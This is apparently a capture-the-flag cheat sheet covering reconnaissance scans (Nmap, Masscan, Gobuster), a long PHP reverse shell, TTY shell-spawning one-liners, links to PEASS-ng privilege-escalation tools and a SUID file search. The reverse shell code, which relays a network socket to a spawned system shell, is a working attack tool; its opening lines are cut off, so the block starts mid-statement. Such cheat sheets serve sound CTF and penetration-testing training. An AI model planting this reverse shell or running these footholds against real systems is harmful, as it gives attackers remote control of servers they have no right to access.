# CTF_CheatSheet ## Stage 1 - Lay of the Land ### enumeration * Passive Recon * Shodan * Wayback Machine * The Harvester * Active Recon * Nmap * Masscan * Network discovery * RPCClient * Enum4all * List all the subdirectories and files * Gobuster * Backup File Artifacts Checker * Web Vulnerabilities * Repository Github * Burp * Web Checklist * Nikto * Payment functionality * Basic Scan ``` sudo nmap -sSV -p- IP -oA nmap/initial -T4 sudo nmap -sSV -oA OUTPUTFILE -T4 -iL INPUTFILE.csv ``` * -sSV defines the type of packet to send to the server and tells Nmap to try and determine any service on open ports * -p- tells Nmap to check all 65,535 ports (by default it will only check the most popular 1,000) * -oA OUTPUTFILE tells Nmap to output the findings in its three major formats at once using the filename "OUTPUTFILE" * -iL INPUTFILE tells Nmap to use the provided file as inputs * CTF Scan ``` nmap -sV -sC -oA nmap/basic IP ``` * -sV : Probe open ports to determine service/version info * -sC : to enable the script * -oA : to save the results After this quick command you can add "-p-" to run a full scan while you work with the previous result ``` nmap -sV -sC -oA -p- nmap/initial IP ``` * Aggressive Nmap ``` nmap -A -T4 scanme.nmap.org ``` * -A: Enable OS detection, version detection, script scanning, and traceroute * -T4: Defines the timing for the task (options are 0-5 and higher is faster) * Masscan ```bash masscan IP -p 1-65535 --rate 100 -oX masscan.xml ``` * Using DirBuster or GoBuster ```bash ./gobuster -u http://buffered.io/ -w /secondary/wordlists/more-lists/dirb/ -t 10 -u url -w wordlist -t threads More subdomain : ./gobuster -m dns -w subdomains.txt -u google.com -i gobuster -w wordlist -u URL -r -e /secondary/wordlists/more-lists/dirb/ ``` ## Stage 2 - Foothold ### Attacking * PHP Reverse Shell ``` array("pipe", "r"), // stdin is a pipe that the child will read from 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 2 => array("pipe", "w") // stderr is a pipe that the child will write to ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { printit("ERROR: Can't spawn shell"); exit(1); } // Set everything to non-blocking // Reason: Occsionally reads will block, even though stream_select tells us they won't stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) { // Check for end of TCP connection if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; } // Check for end of STDOUT if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; } // Wait until a command is end down $sock, or some // command output is available on STDOUT or STDERR $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); // If we can read from the TCP socket, send // data to process's STDIN if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); } // If we can read from the process's STDOUT // send data down tcp connection if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); } // If we can read from the process's STDERR // send data down tcp connection if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); // Like print, but does nothing if we've daemonised ourself // (I can't figure out how to redirect STDOUT like a proper daemon) function printit ($string) { if (!$daemon) { print "$string\n"; } } ?> ``` ### Spawning a Shell To check if the shell is a tty shell, just enter tty command like the following. ```bash tty ``` not a tty ```bash tty ``` /dev/pts/0 Here are some commands which will enable you to spawn a tty shell: Python: This is the most popular method for spawnings a tty shell. The target server should have python or python3 installed. |Methord | Command | |----------|-----------| | Python3 | python -c "import pty;pty.spawn('/bin/bash')" | |* Echo: | echo 'os.system('/bin/bash')'| | * sh: | /bin/sh -i| | * Bash: | /bin/bash -i| | * Perl: | perl -e 'exec "/bin/sh";'| | * Ruby: | ruby: exec "/bin/sh"| | * Lua: | lua: os.execute('/bin/sh')| | * From within vi: | :!bash , :set shell=/bin/bash:shell | | * From within nmap: | !sh | ``` Ctrl+Z stty raw -echo fg export TERM=xterm ``` ## Stage 3 ### Lets Have a Look Around * PEASS-ng | OS | Links | |----|------| | Linux | https://github.com/carlospolop/PEASS-ng/blob/master/linPEAS/linpeas.sh | | Windows x68 | https://github.com/carlospolop/PEASS-ng/raw/master/winPEAS/winPEASexe/binaries/x64/Release/winPEASx64.exe | |Windows x86 | https://github.com/carlospolop/PEASS-ng/raw/master/winPEAS/winPEASexe/binaries/x86/Release/winPEASx86.exe | * GTFObins > https://gtfobins.github.io/ * Linux Tools | | Command| |---|--------| | | find / -type f -user root -perm -4000 2>/dev/null|